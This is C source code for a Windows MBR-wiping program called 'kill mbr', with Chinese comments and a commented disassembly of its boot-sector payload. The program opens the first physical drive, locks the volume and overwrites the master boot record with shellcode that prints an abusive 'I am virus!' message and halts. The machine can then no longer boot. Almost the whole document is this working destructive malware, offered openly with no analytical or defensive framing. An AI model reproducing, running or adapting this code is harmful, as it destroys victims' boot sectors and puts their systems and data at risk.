kill mbr

#include <windows.h>#include <winioctl.h>unsigned char scode[] ="\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c""\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72""\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";/*00000000  B81200 mov ax, 12H ; ah = 0, al = 12h (640 * 480)00000003  CD10 int 10h ; 进入图形显示方式，隐藏光标00000005  BD187C mov bp, Msg ; ES:BP = 串地址00000008  B91800 mov cx, 18h ; CX = 串长度0000000B  B80113 mov ax, 1301h ; AH = 13,  AL = 01h0000000E  BB0C00 mov bx, 000ch ; 页号为0(BH = 0) 黑底红字(BL = 0Ch,高亮)00000011  BA1D0E mov dx, 0e1dh ; dh行, dl列00000014  CD10 int 10h ; 10h 号中断00000016  E2FE loop $Msg: db "I am virus! Fuck you :-)" //50726F6772616D6D65722069732064616E6765726F757321//Programmer is dangerous!//596F752063616E20676F20746F20646561642C2053422121//You can go to dead, SB!!*/int WINAPI WinMain(  HINSTANCE hInstance,  // handle to current instance  HINSTANCE hPrevInstance,  // handle to previous instance  LPSTR lpCmdLine,      // pointer to command line  int nCmdShow          // show state of window){HANDLE hDevice;DWORD dwBytesWritten, dwBytesReturned;BYTE pMBR[512] = {0};// 重新构造MBRmemcpy(pMBR, scode, sizeof(scode) - 1);pMBR[510] = 0x55;pMBR[511] = 0xAA;hDevice = CreateFile("\\\\.\\PHYSICALDRIVE0",GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ | FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL);if (hDevice == INVALID_HANDLE_VALUE)  return -1;DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL);// 写入病毒内容WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL);CloseHandle(hDevice);return 0;}